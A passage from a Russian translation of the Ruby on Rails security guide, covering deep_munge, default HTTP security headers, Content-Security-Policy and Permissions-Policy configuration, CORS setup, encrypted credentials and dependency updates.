Чтобы сохранить Rails безопасным по умолчанию, deep_munge заменяет некоторые значения на nil. Нижеследующая таблица показывает, как выглядят параметры, основываясь на запросе JSON:

JSON Параметры
{ "person": null } { :person => nil }
{ "person": [] } { :person => [] }
{ "person": [null] } { :person => [] }
{ "person": [null, null, ...] } { :person => [] }
{ "person": ["foo", null] } { :person => ["foo"] }

Можно вернуть старое поведение и отключить deep_munge, сконфигурировав ваше приложение, если вы знаете об этом риске и знаете, как им управлять:

config.action_dispatch.perform_deep_munge = false

9. Заголовки безопасности HTTP

Чтобы улучшить безопасность вашего приложения, Rails может быть настроен, чтобы возвращать заголовки безопасности HTTP. Некоторые заголовки настраиваются по умолчанию; иные нужно настраивать явно.

9.1. Заголовки безопасности по умолчанию

По умолчанию Rails настроен, чтобы возвращать следующие заголовки отклика. Ваше приложение возвращает эти заголовки для каждого отклика HTTP.

9.1.1. X-Frame-Options

Заголовок X-Frame-Options показывает, что браузер может рендерить страницу в теге <frame>, <iframe>, <embed> или <object>. Этот заголовок устанавливает SAMEORIGIN по умолчанию, чтобы разрешить фрейминг только на том же домене. Установите ему DENY, чтобы запретить фрейминг вообще, или уберите этот заголовок вообще, если хотите разрешить фрейминг на всех доменах.

9.1.2. X-XSS-Protection

Устаревший заголовок, установлен 0 в Rails по умолчанию, чтобы отключить проблематичные устаревшие аудиторы XSS.

9.1.3. X-Content-Type-Options

Заголовок X-Content-Type-Options установлен nosniff в Rails по умолчанию. Он останавливает браузер от угадывания типа MIME файла.

9.1.4. X-Permitted-Cross-Domain-Policies

Этот заголовок установлен none в Rails по умолчанию. Он не разрешает Adobe Flash и клиентам PDF встраивать вашу страницу на других доменах.

9.1.5. Referrer-Policy

Заголовок Referrer-Policy установлен strict-origin-when-cross-origin в Rails по умолчанию. Для запросов с другого источника, он посылает только источник в заголовке Referer. Это предотвращает утечки частных данных, которые могут быть доступны из других частей полного URL, таких как путь и строка запроса.

9.1.6. Настройка заголовков по умолчанию

Эти заголовки настраиваются по умолчанию так:

config.action_dispatch.default_headers = {
  'X-Frame-Options' => 'SAMEORIGIN',
  'X-XSS-Protection' => '0',
  'X-Content-Type-Options' => 'nosniff',
  'X-Permitted-Cross-Domain-Policies' => 'none',
  'Referrer-Policy' => 'strict-origin-when-cross-origin'
}

Можно переопределить или добавить дополнительные заголовки в config/application.rb.

config.action_dispatch.default_headers['X-Frame-Options'] = 'DENY'
config.action_dispatch.default_headers['Header-Name']     = 'Value'

Или можно убрать их:

config.action_dispatch.default_headers.clear

9.2. Заголовок Strict-Transport-Security

Заголовок отклика HTTP Strict-Transport-Security (HTST) указывает браузеру автоматически переходить на HTTPS для текущего и будущих соединений.

Этот заголовок добавляется в отклик при включении опции force_ssl:

  config.force_ssl = true

9.3. Заголовок Content-Security-Policy

Чтобы помочь защититься от атак XSS и инъекций, рекомендуется определить заголовок отклика Content-Security-Policy для вашего приложения. Rails предоставляет DSL, который разрешает конфигурировать заголовок.

Определите политику безопасности в подходящем инициализаторе:

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.default_src :self, :https
  policy.font_src    :self, :https, :data
  policy.img_src     :self, :https, :data
  policy.object_src  :none
  policy.script_src  :self, :https
  policy.style_src   :self, :https
  # Указываем URI для отчетов о нарушениях
  policy.report_uri "/csp-violation-report-endpoint"
end

Глобально сконфигурированная политика может быть переопределена на основе ресурса:

class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.upgrade_insecure_requests true
    policy.base_uri "https://www.example.com"
  end
end

Или она может быть отключена:

class LegacyPagesController < ApplicationController
  content_security_policy false, only: :index
end

Используйте лямбды для внедрения значений для запроса, таких как поддомен аккаунта в мульти-арендном приложении:

class PostsController < ApplicationController
  content_security_policy do |policy|
    policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" }
  end
end
9.3.1. Отчет о нарушениях

Включите директиву report-uri, чтобы сообщить о нарушениях для указанного URI:

Rails.application.config.content_security_policy do |policy|
  policy.report_uri "/csp-violation-report-endpoint"

При миграции устаревшего содержимого, вы, возможно, не хотите сообщать о нарушениях без принуждения к политике. Установите заголовок отклика Content-Security-Policy-Report-Only, чтобы сообщать только о нарушениях.

Rails.application.config.content_security_policy_report_only = true

Или переопределите его в контроллере:

class PostsController < ApplicationController
  content_security_policy_report_only only: :index
end
9.3.2. Добавление Nonce

Если вы рассматриваете 'unsafe-inline', рассмотрите вместо этого использование nonce. Nonce предоставляют заменимое улучшение над 'unsafe-inline' при реализации Content Security Policy поверх существующего кода.

# config/initializers/content_security_policy.rb
Rails.application.config.content_security_policy do |policy|
  policy.script_src :self, :https
end

Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }

Есть несколько компромиссов, которые нужно рассмотреть при настройке генератора nonce. Использование SecureRandom.base64(16) это хорошее значение по умолчанию, так как он сгенерирует новый случайный nonce для каждого запроса. Однако, этот метод несовместим с кэшированием GET с условием, так как новые nonce приведут к новым значениям ETag для каждого запроса. Альтернативой к случайным nonce для каждого запроса будет использование идентификатора сессии:

Rails.application.config.content_security_policy_nonce_generator = -> request { request.session.id.to_s }

Этот метод генерации совместим с ETag, но его безопасность зависит от того, достаточно ли случаен идентификатор сессии, и не раскрыт ли он в небезопасных куки.

По умолчанию nonce будут применены к script-src и style-src, если определен генератор nonce. Можно использовать config.content_security_policy_nonce_directives, чтобы изменить, какая директива будет использовать nonce:

Rails.application.config.content_security_policy_nonce_directives = %w(script-src)

Как только генерация nonce настроена в инициализаторе, можно добавить автоматические значения nonce в теги script, передавая nonce: true как часть html_options:

<%= javascript_tag nonce: true do -%>
  alert('Hello, World!');
<% end -%>

Это также работает с javascript_include_tag:

<%= javascript_include_tag "script", nonce: true %>

Используйте хелпер csp_meta_tag для создания метатега "csp-nonce" со значением nonce для каждой сессии, чтобы разрешить встроенные теги <script>.

<head>
  <%= csp_meta_tag %>
</head>

Это используется хелпером Rails UJS для создания динамически загружаемых встроенных элементов <script>.

9.4. Заголовок Feature-Policy

Заголовок Feature-Policy был переименован в Permissions-Policy. Permissions-Policy требует другую реализацию и пока не поддерживается всеми браузерами. Чтобы избежать переименования этой промежуточной программы в будущем, мы используем новое имя для этой промежуточной программы, но пока сохраняем старое имя заголовка и его реализацию.

Чтобы разрешить или заблокировать использование особенностей браузера, можно определить заголовок отклика Feature-Policy для вашего приложения. Rails предоставляет DSL, позволяющий настроить заголовок.

Определите политику в соответствующем инициализаторе:

# config/initializers/permissions_policy.rb
Rails.application.config.permissions_policy do |policy|
  policy.camera      :none
  policy.gyroscope   :none
  policy.microphone  :none
  policy.usb         :none
  policy.fullscreen  :self
  policy.payment     :self, "https://secure.example.com"
end

Глобально настроенная политика может быть переопределена на основе ресурса:

class PagesController < ApplicationController
  permissions_policy do |policy|
    policy.geolocation "https://example.com"
  end
end

9.5. Совместное межсайтовое использование ресурсов

Браузеры ограничивают межсайтовые запросы HTTP, инициированные скриптами. Если хотите запускать Rails в качестве API, а фронтенд приложение - на отдельном домене, следует включить Cross-Origin Resource Sharing (CORS).

Можно использовать промежуточную программу Rack CORS для обработки CORS. Если вы сгенерировали свое приложение с помощью опции --api, Rack CORS, возможно, уже настроен, и вы можете опустить следующие шаги.

Для начала, добавьте гем rack-cors в свой Gemfile:

gem 'rack-cors'

Затем добавьте инициализатор, чтобы настроить промежуточную программу:

# config/initializers/cors.rb
Rails.application.config.middleware.insert_before 0, "Rack::Cors" do
  allow do
    origins 'example.com'

    resource '*',
      headers: :any,
      methods: [:get, :post, :put, :patch, :delete, :options, :head]
  end
end

10. Безопасность среды

За пределами этого руководства осталось, как обезопасить код приложения и среды (environments). Однако, пожалуйста, обеспечьте безопасность конфигурации вашей базы данных, т.е. config/database.yml, главного ключа для credentials.yml и других незашифрованных секретных данных. Для дальнейшего ограничения доступа используйте специфичные для сред версии этих и любых других файлов, которые могут содержать чувствительную информацию.

10.1. Настраиваемые учетные данные

Rails хранит секретные данные в config/credentials.yml.enc, которые зашифрованы, и поэтому не могут быть непосредственно отредактированы. Rails использует config/master.key, или альтернативно ищет переменную среды ENV["RAILS_MASTER_KEY"] для шифровки файла учетных данных. Так как файл учетных данных зашифрован, его можно хранить в контроле версий, пока главный ключ держится в безопасности.

По умолчанию файл учетных данных содержит секретный ключ приложения secret_key_base. Он также может использоваться для хранения других учетных данных, таких как ключи доступа к внешним API.

Чтобы отредактировать файл учетных данных, запустите bin/rails credentials:edit. Эта команда создаст файл учетных данных, если он не существует. Помимо этого, команда создаст config/master.key, если главный ключ не определен.

Секреты, добавленные в файл учетных данных, доступны через Rails.application.credentials. Например, со следующим дешифрованным config/credentials.yml.enc:

secret_key_base: 3b7cd72...
some_api_key: SOMEKEY
system:
  access_key_id: 1234AB

Rails.application.credentials.some_api_key вернет "SOMEKEY". Rails.application.credentials.system.access_key_id вернет "1234AB".

Если вы хотите вызвать исключение, когда ключ пустой, можно использовать версию с восклицательным знаком:

# Когда some_api_key пустой...
Rails.application.credentials.some_api_key! # => KeyError: :some_api_key is blank

Изучите подробности об учетных данных с помощью bin/rails credentials:help.

Храните ваш главный ключ в безопасности. Не добавляйте ваш главный ключ в систему контроля версий.

11. Управление зависимостями и база уязвимостей CVE

Мы не обновляем зависимости только для поощрения использования новых версий, в том числе и по причинам безопасности. Поэтому владельцы приложения должны обновить свои гемы вручную, независимо от наших усилий. Используйте bundle update --conservative gem_name для безопасного обновления уязвимых зависимостей.

12. Дополнительные источники

Картина безопасности меняется, и важно идти в ногу со временем, поскольку пропуск новой уязвимости может быть катастрофическим. Ниже перечислены дополнительные источники о безопасности (Rails):